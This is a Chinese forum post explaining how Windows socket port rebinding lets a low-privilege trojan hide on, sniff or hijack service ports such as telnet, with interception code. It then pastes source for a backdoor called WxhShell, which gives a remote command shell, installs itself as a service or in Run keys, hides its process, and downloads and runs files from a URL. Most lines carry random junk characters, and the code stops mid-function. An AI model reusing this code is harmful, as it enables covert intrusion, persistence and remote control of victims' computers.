社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11289阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G%I .u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TLsF c^X  
Vkg0C*L_  
  saddr.sin_family = AF_INET; X]=eC6M}:V  
GTR*3,rw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h[>pC"s?K  
KA?}o^-F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 86{>X5+  
"K(cDVQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I;w!  
V[(fE=cIN~  
  这意味着什么?意味着可以进行如下的攻击: 'W(u.  
jC'h54 ,Mr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~]-n%J $q  
M G$+Blw>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U 3< 3T  
RB %+|@c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t1w]L  
+;~N; BT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "s0,9; }  
(vG*)a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 46g0 e  
'JOCL0FP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gO8d2?Oh  
BzfR8mD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ dAyw  
$BdwKk !k  
  #include uA#K59E+  
  #include [\W&  
  #include oMEW5.VX  
  #include    0''p29  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P\MDD@  
  int main() Q` &#u#  
  { 66& uK|  
  WORD wVersionRequested; ?+Gt?-! 5q  
  DWORD ret; &b|RoPV  
  WSADATA wsaData; vQ}ZfP  
  BOOL val; x#`p.sfVo  
  SOCKADDR_IN saddr; :xr^E]  
  SOCKADDR_IN scaddr; ` Tap0V  
  int err; tBGLEeL/.  
  SOCKET s; `TPIc  
  SOCKET sc; <J<"`xKL  
  int caddsize; $rXCNew(  
  HANDLE mt; ,,u hEoH  
  DWORD tid;   ;8^k=8  
  wVersionRequested = MAKEWORD( 2, 2 ); H1c8]}  
  err = WSAStartup( wVersionRequested, &wsaData ); R$awo/'^  
  if ( err != 0 ) { i3 eF_  
  printf("error!WSAStartup failed!\n"); _-C/s p^   
  return -1; q=W.82.U  
  } >+J}mo=*  
  saddr.sin_family = AF_INET; wnC} TWxX  
   !An?<Sv$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fM ID}S  
zb{79Os[B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A M[f  
  saddr.sin_port = htons(23); zd[k|lj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8lM=v> Xc  
  { i6WPf:#wr  
  printf("error!socket failed!\n"); *>a=ku:?  
  return -1; WOn<;'}M&  
  } bN/8 ~!  
  val = TRUE; R>0[w$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SEM?vQ 0"}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d` ttWWPw  
  { h,$CJdDY]  
  printf("error!setsockopt failed!\n"); %e]G]B%  
  return -1; 7dY_b  
  } 6B8!}6Ojc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .T3N"}7[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z0rYzn?MR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cjN)3L{  
F\r"Y)|b=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "d)Yq Q  
  { #ELe W3 S}  
  ret=GetLastError(); U*~-\jN1pb  
  printf("error!bind failed!\n"); , @jtD*c)  
  return -1; DujVV(+I  
  } LG:k}z/T  
  listen(s,2); R:f!ywj%  
  while(1) <XLaJ;j  
  { d0)]^4HT|y  
  caddsize = sizeof(scaddr); ?+.mP]d_  
  //接受连接请求 )!-gT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^0v3NG6  
  if(sc!=INVALID_SOCKET) W!<7OA g$  
  { C_N|o|dX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z 01A~_  
  if(mt==NULL) O4X03fUx  
  { ]B )nN':  
  printf("Thread Creat Failed!\n"); c ?CD;Pk  
  break; r x9*/Q0F  
  } p(pfJ^/:(  
  } PV#h_X<l%  
  CloseHandle(mt); B6dU6"  
  } !-`L1D_hy  
  closesocket(s); %w^*7Oi  
  WSACleanup(); y^ skE{  
  return 0; /C8}5)  
  }   zd5=W"Y;]  
  DWORD WINAPI ClientThread(LPVOID lpParam) _fS\p|W(E  
  { ]6M<c[H>  
  SOCKET ss = (SOCKET)lpParam; I-^sJ@V;  
  SOCKET sc; oZ*?Uh*  
  unsigned char buf[4096]; \=WPJm`p  
  SOCKADDR_IN saddr; nx%As  
  long num; tF),Sn|*  
  DWORD val; "BT M,CB  
  DWORD ret; z" tz-~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h)Fc<,vwBE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BX$<5S@  
  saddr.sin_family = AF_INET; "a2|WKpD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^5s7mls  
  saddr.sin_port = htons(23); `n>|rd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8?82 p  
  { HK :K~h  
  printf("error!socket failed!\n"); lPR^~&/  
  return -1; KS8@A/f  
  } i@+m<YS:2>  
  val = 100; )tBz=hy#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =u}~\ 'd  
  { +A8q.-N G  
  ret = GetLastError(); .T7CMkYt  
  return -1; zd%f5L('  
  } iYBc4'X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FQ 0&{ulb  
  { QD0x^v8  
  ret = GetLastError(); KWo Ps%G  
  return -1; R{c~jjd  
  } =l:V9u-I^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !@lx|= #  
  { a!bW^?PcK  
  printf("error!socket connect failed!\n"); U Y*`R  
  closesocket(sc); bXJ(QXHd%  
  closesocket(ss); d_we?DZ|  
  return -1; a_!H_J  
  } w\i]z1  
  while(1) U3_O}X+  
  { *eHa4I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |?J57(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *DIY;)K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *=oO3c0|b,  
  num = recv(ss,buf,4096,0); 4AEw[(t  
  if(num>0) 'GezIIaH  
  send(sc,buf,num,0); Jd/d\P  
  else if(num==0) d,?D '/  
  break; EeMKo  
  num = recv(sc,buf,4096,0); =7e!'cF[  
  if(num>0) Ze>R@rK  
  send(ss,buf,num,0); P Ptmh. }e  
  else if(num==0) |a03S Zx  
  break; 5{(4%  
  } .+S%hT,v6i  
  closesocket(ss); sxr,] @  
  closesocket(sc); d8;kM`U  
  return 0 ; i tNuY<"  
  } _'w:Sx?d7  
,EHLW4v  
0?ab'vYcp  
========================================================== Jvc<j:{^w  
vWmp ?m  
下边附上一个代码,,WXhSHELL *g*"bi*  
pNd`fV#jX  
========================================================== #C } +  
I )yaR+l  
#include "stdafx.h" } O+xs3Uv  
'AK '(cZ  
#include <stdio.h> ftMlm_u  
#include <string.h> Ws5N|g  
#include <windows.h> aHC%:)ww:  
#include <winsock2.h> ~zfF*A  
#include <winsvc.h> %J-:%i  
#include <urlmon.h> "7EK{6&jQ  
^U,iDK_  
#pragma comment (lib, "Ws2_32.lib") 7*{l\^ism;  
#pragma comment (lib, "urlmon.lib") o5J6Xi0+  
i. )^}id  
#define MAX_USER   100 // 最大客户端连接数 ].d%R a:{  
#define BUF_SOCK   200 // sock buffer 517"x@6Q  
#define KEY_BUFF   255 // 输入 buffer c`x4."m  
d#+Ne f5  
#define REBOOT     0   // 重启 \(7A7~  
#define SHUTDOWN   1   // 关机 o:v_I{  
!S&/Zp  
#define DEF_PORT   5000 // 监听端口 NV?x<LNWd  
e46`"}r  
#define REG_LEN     16   // 注册表键长度 |pZ7k#%  
#define SVC_LEN     80   // NT服务名长度 ]8wm1_qV  
PeIi@0vA  
// 从dll定义API Lk]|;F-2i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GU`q^q@Ea  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?i_/f}.K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l[_antokn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z59;Qk  
JtY$AP$  
// wxhshell配置信息 [xY-=-T*4  
struct WSCFG { ~q+AAWL  
  int ws_port;         // 监听端口 DcFY b|p  
  char ws_passstr[REG_LEN]; // 口令 >n/0od9  
  int ws_autoins;       // 安装标记, 1=yes 0=no m{ani/bt  
  char ws_regname[REG_LEN]; // 注册表键名 2He R1m<  
  char ws_svcname[REG_LEN]; // 服务名 Hd;NvNS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K:-jn}i?/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >lM/\HO2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {hN\=_6*EW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m4h)Wq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" An#[ +?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y?1T XsvF  
ZzBaYoNy[0  
}; +}at#%1@  
V?*fl^f  
// default Wxhshell configuration v+xrn z  
struct WSCFG wscfg={DEF_PORT, $X;OK  
    "xuhuanlingzhe", vh&~Y].W Y  
    1, p @q20>^u  
    "Wxhshell", du }HTrsC  
    "Wxhshell", hd9~Zw]V  
            "WxhShell Service", 72RTEGy  
    "Wrsky Windows CmdShell Service",  nm`( ;<W  
    "Please Input Your Password: ", %JPr 7 }  
  1, hj"JmF$m  
  "http://www.wrsky.com/wxhshell.exe", kD+#|f  
  "Wxhshell.exe" Zs}h>$E5_B  
    }; PW%ith1)<  
-*[)CR-{  
// 消息定义模块 :RIqA/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d~_5Jx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :9L}jz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #t1? *4.p  
char *msg_ws_ext="\n\rExit."; jTqJ(M}L  
char *msg_ws_end="\n\rQuit."; indbg d  
char *msg_ws_boot="\n\rReboot..."; c{to9Lk.#  
char *msg_ws_poff="\n\rShutdown..."; Cp!9 "J:  
char *msg_ws_down="\n\rSave to "; :(OV{ u  
WwoT~O8R  
char *msg_ws_err="\n\rErr!";  * ;Q#UH  
char *msg_ws_ok="\n\rOK!"; H@zZ[  
% +  
char ExeFile[MAX_PATH]; |UlR+'rl  
int nUser = 0; + AjV0#n  
HANDLE handles[MAX_USER]; [E<A/_z  
int OsIsNt; c]VK%zl  
0=7Ud<  
SERVICE_STATUS       serviceStatus; _&q&ID  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @G#`uoD  
RB*z."  
// 函数声明 R~A))4<%%  
int Install(void); ?$;&DoE  
int Uninstall(void); 8hy1yt6t4~  
int DownloadFile(char *sURL, SOCKET wsh); HQ=pf >  
int Boot(int flag); ZTqt4H  
void HideProc(void); $l.8  
int GetOsVer(void); M@q)\UQ'  
int Wxhshell(SOCKET wsl); $A74V [1^  
void TalkWithClient(void *cs); kz1Z K  
int CmdShell(SOCKET sock); qooTRqc#,  
int StartFromService(void); 7o+VhW<|5  
int StartWxhshell(LPSTR lpCmdLine); 3Jd a:  
&q4~WRnzJk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _}\KC+n8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~FI} [6Dd  
cuG;1,?b  
// 数据结构和表定义 S+6YD0  
SERVICE_TABLE_ENTRY DispatchTable[] = y#Nrq9r:  
{ S]T71W<i  
{wscfg.ws_svcname, NTServiceMain}, p}GTOJT}  
{NULL, NULL} JSh'iYJ .  
}; H.n|zGQTB  
GRL42xp'*D  
// 自我安装 { ~{D(k  
int Install(void) V^D 1:9i  
{ xPT$d,~"  
  char svExeFile[MAX_PATH]; n|=yw6aV'  
  HKEY key; b!SIs*  
  strcpy(svExeFile,ExeFile); "/^kFsvp  
s#0m  
// 如果是win9x系统,修改注册表设为自启动 j;Lp@~M  
if(!OsIsNt) { biV|W@JM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Sg/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FDFVhcr  
  RegCloseKey(key); M>RLS/r>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 23;\l   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eon(C|S7eK  
  RegCloseKey(key); WpI5C,3Z!l  
  return 0; EG=U](8T  
    } },5LrX`L  
  } [A!=Hv_$  
} W^:g_  
else { 6xh -m  
XxB%  
// 如果是NT以上系统,安装为系统服务 |QH )A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z}VCiS0  
if (schSCManager!=0) B%[#["Ol  
{ |SJ%Myy  
  SC_HANDLE schService = CreateService ^CDh! )  
  ( Bt\V1)  
  schSCManager, I.6#>=  
  wscfg.ws_svcname, =`(\]t"I  
  wscfg.ws_svcdisp, xr)m8H  
  SERVICE_ALL_ACCESS, 'HvW&~i(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HwMe^e;  
  SERVICE_AUTO_START, |])Ko08*tE  
  SERVICE_ERROR_NORMAL, TSL/zTLDJ  
  svExeFile, mp]UUpt  
  NULL, [.G~5%974  
  NULL, Q6X}R,KA1  
  NULL, -Xgup,}?  
  NULL, <&M5#:u  
  NULL [z} $G:s  
  ); -cXVkH{  
  if (schService!=0) ,n5 [Y)  
  { Zr\G=0`  
  CloseServiceHandle(schService); ON_G D"  
  CloseServiceHandle(schSCManager); ]=0D~3o3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +w3k_^X9c  
  strcat(svExeFile,wscfg.ws_svcname); !Nhq)i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U@:iN..  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BS3BJwf; f  
  RegCloseKey(key); T:j!a{_|  
  return 0; pHDPj,lu  
    } uUpOa+t  
  } ~65lDFY/  
  CloseServiceHandle(schSCManager); ]7dal [i  
} \l;H !y[  
} D>q?My  
;}4e+`fF|  
return 1; 1\,wV,  
} g5&,l  
0jefV*3qpB  
// 自我卸载 '-X913eG!  
int Uninstall(void) j7&0ckN&G  
{ MdNV3:[\  
  HKEY key; oxqD/fY  
V :4($  
if(!OsIsNt) { 5HbPS%^.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vuo 8[h>  
  RegDeleteValue(key,wscfg.ws_regname); fNi_C"<  
  RegCloseKey(key); K* 0]*am|v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m4T` Tg#P  
  RegDeleteValue(key,wscfg.ws_regname); w`0r`\#V/  
  RegCloseKey(key); G|]39/OO3{  
  return 0; 6sRKbp|r7  
  } Uw_z9ZL  
} T/l2B1  
} .mS'c#~5Y  
else { #T)gKp  
Ne,u\q3f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x~O_v  
if (schSCManager!=0) {~d8_%:b  
{ }NJ? .Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ze%)fZI0f  
  if (schService!=0) HV6'0_R0  
  { ]O;Rzq{D(  
  if(DeleteService(schService)!=0) { )%5T*}j  
  CloseServiceHandle(schService); s*pgR=dZZ  
  CloseServiceHandle(schSCManager); "Q@ZS2;A  
  return 0; !tD,phca~  
  } 4mzWNr>fb  
  CloseServiceHandle(schService); 7_#i,|]58  
  } =i)k@w_(x  
  CloseServiceHandle(schSCManager); 7^:0?Q  
} 3~!PJI1  
} R'r^v  
|LDo<pE*V4  
return 1; rRZ ,X%  
} vl}uHdeP9  
 %sLij*  
// 从指定url下载文件 lTv_%hUp  
int DownloadFile(char *sURL, SOCKET wsh) nMHs5'_y  
{ ztS'Dp}q<  
  HRESULT hr; G?6[K&w  
char seps[]= "/"; *m sW4|=^2  
char *token; fOyLBixR  
char *file; i;>Hy|  
char myURL[MAX_PATH]; P}QuGy[  
char myFILE[MAX_PATH]; Ls^$E  
COK7 i^  
strcpy(myURL,sURL); S)*eAON9  
  token=strtok(myURL,seps); 7MT[fA8^  
  while(token!=NULL) ^25[%aJI  
  { DjjG?(1  
    file=token; [sY>ac  
  token=strtok(NULL,seps); hQfxz,X  
  } tXTa>Q  
i.Qy0  
GetCurrentDirectory(MAX_PATH,myFILE); AjZ@hid  
strcat(myFILE, "\\"); @`ttyI^1f  
strcat(myFILE, file); n'JwT! A  
  send(wsh,myFILE,strlen(myFILE),0); NY ZPh%x  
send(wsh,"...",3,0); )S|}de/a2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xla9:*pPn  
  if(hr==S_OK) ; . c]0  
return 0; (v^L2Po  
else GIDC'  
return 1; U:E:"  
s Hu~;)  
} f[!Q R  
e}e\*BL  
// 系统电源模块 ?K/z`E!xhN  
int Boot(int flag) mYN|)QVKy  
{ @fbB3  
  HANDLE hToken; l 49)Cv/  
  TOKEN_PRIVILEGES tkp; \+g95|[/  
dQt*/]{q  
  if(OsIsNt) { W&6P%0G/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?/~7\ '|Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _~DFZt@T  
    tkp.PrivilegeCount = 1; VWG#v #o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M#d_kDMw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x 1$tS#lS  
if(flag==REBOOT) { 2`l$uEI3oJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8KW}XG  
  return 0; ?(!$vqS`f(  
} %u43Pj  
else { 59p'Ega.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2ZB'WzH.X  
  return 0; oG5JJpLT  
} ){")RrD(  
  } l9q ygh  
  else { e4ajT  
if(flag==REBOOT) { jpaY:fcF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >ea<6&!Ee  
  return 0; HlY4%M5q/  
} *Rj>// A  
else { j+J)S1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >GgX-SZ%  
  return 0;  vu  YH+  
} |jaUVE_2[  
} %n9}P , ?  
VD +8j29  
return 1; /U6G?3b  
} <<w $ Ur  
lb&tAl"D  
// win9x进程隐藏模块 ((Ec:(:c  
void HideProc(void) MlsF?"H p  
{ Y 1Bj++?2  
T8ZBQ;o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M{:gc7%  
  if ( hKernel != NULL ) qw0tw2|  
  { QO7 > XHn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )"jG)c^1*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 91%+Bf()J6  
    FreeLibrary(hKernel); lyIstfRh15  
  } C%"h1zWE:  
&m4 \"X@  
return; r[ ' T.yo  
} djPr 4Nog  
#2I[F  
// 获取操作系统版本 '9*wr*  
int GetOsVer(void) l`gRw4 /$  
{ %g0"Kj5  
  OSVERSIONINFO winfo; /,/T{V[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @o44b!i  
  GetVersionEx(&winfo); r1-?mMSU&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Cyx "s't  
  return 1; x7l)i!/$  
  else /!JpmI  
  return 0; JQsS=m7Et  
} o]MQ)\ r  
}%y_Lc L  
// 客户端句柄模块 xh @H@Q\  
int Wxhshell(SOCKET wsl) ?9v!UT&#  
{ y*\ M7}](  
  SOCKET wsh; X&^t 8  
  struct sockaddr_in client; \H<'W"  
  DWORD myID; )(\5Wk9(  
{+z+6i  
  while(nUser<MAX_USER) gO4J[_  
{ aAu upPu  
  int nSize=sizeof(client); p4W->AVv$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OWB^24Z&3  
  if(wsh==INVALID_SOCKET) return 1; *0l^/jqn:  
~{Tus.jk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h}z^NX  
if(handles[nUser]==0) zEF3B  
  closesocket(wsh); 15 uVvp/  
else 6VQ*z8wLw  
  nUser++; =35EG{W(  
  } #TZYe4#f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.]t_`KuF9  
HG=!#-$9  
  return 0; VV?+q)  
} '8i np[_  
\0(QO8.  
// 关闭 socket mV`Z]-$$i  
void CloseIt(SOCKET wsh) # u^FB  
{ }.o rfW  
closesocket(wsh); zL3~,z/o  
nUser--; %nF6n:|:  
ExitThread(0); \[]36|$LS  
} %=S^{A  
= Yh>5A  
// 客户端请求句柄 ^z9ITGB~tV  
void TalkWithClient(void *cs) l0tMdsz  
{ h k(2,z  
3UD_2[aqN(  
  SOCKET wsh=(SOCKET)cs; f Nm Sx  
  char pwd[SVC_LEN]; sUfH1w)0  
  char cmd[KEY_BUFF]; !7AW_l9`i  
char chr[1]; [*vk&  
int i,j; B:qZh$YN  
1U@qR U  
  while (nUser < MAX_USER) { G}BO!Z6  
c pgHF`nt  
if(wscfg.ws_passstr) { {G%`K,T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T"in   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Ztj  
  //ZeroMemory(pwd,KEY_BUFF); ["MF-tQ5  
      i=0; 22}J.'Zb  
  while(i<SVC_LEN) { G0CmY43  
_s|C0Pt  
  // 设置超时 ~hE"B) e  
  fd_set FdRead; V_Wv(G0-\  
  struct timeval TimeOut; `-]*Qb+  
  FD_ZERO(&FdRead); f@[q# }6  
  FD_SET(wsh,&FdRead); ]*%0CDY6`N  
  TimeOut.tv_sec=8; wcsUb 9(  
  TimeOut.tv_usec=0; 'Xxt[Jy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,hT t]w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3PpycJ}  
-zN*2T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QI=",vma u  
  pwd=chr[0]; SD8Q_[rY  
  if(chr[0]==0xd || chr[0]==0xa) { V. =!^0'A  
  pwd=0; ;[ pyKh  
  break; Rzj5B\+Rk(  
  } (gvaYKvr  
  i++; "CT'^d+  
    } !RFlv  
1 c3gHc7{t  
  // 如果是非法用户,关闭 socket K>lA6i7?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %^2LTK(P  
} ^7Z)/c`"  
jU@qQ@|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ze%! C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -PB m@}*  
80![aj}z4G  
while(1) { -% 5*c61  
(pREo/T  
  ZeroMemory(cmd,KEY_BUFF); < :<E~anH  
9Fv1D  
      // 自动支持客户端 telnet标准   :nC Gqg  
  j=0; xl5mI~n_~  
  while(j<KEY_BUFF) { +]Po!bN@@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ht!o_0{~  
  cmd[j]=chr[0]; a+uSCs[C  
  if(chr[0]==0xa || chr[0]==0xd) { ",w@_}z:  
  cmd[j]=0; ['tGc{4  
  break; 7xMvf<1P  
  } g.SFl  
  j++; (}V.xi  
    } '.c [7zL  
Ldf<  
  // 下载文件 rt_%_f>qd  
  if(strstr(cmd,"http://")) { |XtN\9V.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !X` 5  
  if(DownloadFile(cmd,wsh)) SBzJQt@Hs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[AX?  
  else 8jMw7ti  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %qV=PC  
  } 4sP0oe[h  
  else { PL@hsZty~c  
7!]$XGz[  
    switch(cmd[0]) { 0 x4Xs  
  K``MS  
  // 帮助 #OqQD6  
  case '?': { plh.-"   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I ^?TabL  
    break; Z[)t34EY"  
  } $k,Z)2  
  // 安装 9 ]c2ub7  
  case 'i': { FWq+'Gk SV  
    if(Install()) WJ<nc+/v:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M56^p ,  
    else ]e$mTRi*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/EEoK^K@  
    break; )iNM jg  
    } 9s>q4_D  
  // 卸载 WldlN?[j  
  case 'r': { }rj.N98  
    if(Uninstall()) 4c_TrNwP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V: fz  
    else =ps3=D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9.{u2a\  
    break; }%c2u/PQ  
    } zflq|dW  
  // 显示 wxhshell 所在路径 TD'RvTpl  
  case 'p': { *T-+Pm-Cq  
    char svExeFile[MAX_PATH]; FIL?nkYEO  
    strcpy(svExeFile,"\n\r"); (0/,R  
      strcat(svExeFile,ExeFile); $5yH(Z[[  
        send(wsh,svExeFile,strlen(svExeFile),0); Dq/_^a/1  
    break; )a AKO`  
    } -*~ = 4m<  
  // 重启 Dt%G v0  
  case 'b': { JR8 b[Oj.S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c@wSv2o$  
    if(Boot(REBOOT)) .vE=527g)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^I4'7]n-  
    else { # ` Q3Z}C  
    closesocket(wsh); ;IZ*o<_  
    ExitThread(0); VgD z:j  
    } ,m;S-Im_Xr  
    break; Jr$,w7tQn@  
    } sD H^l)4h  
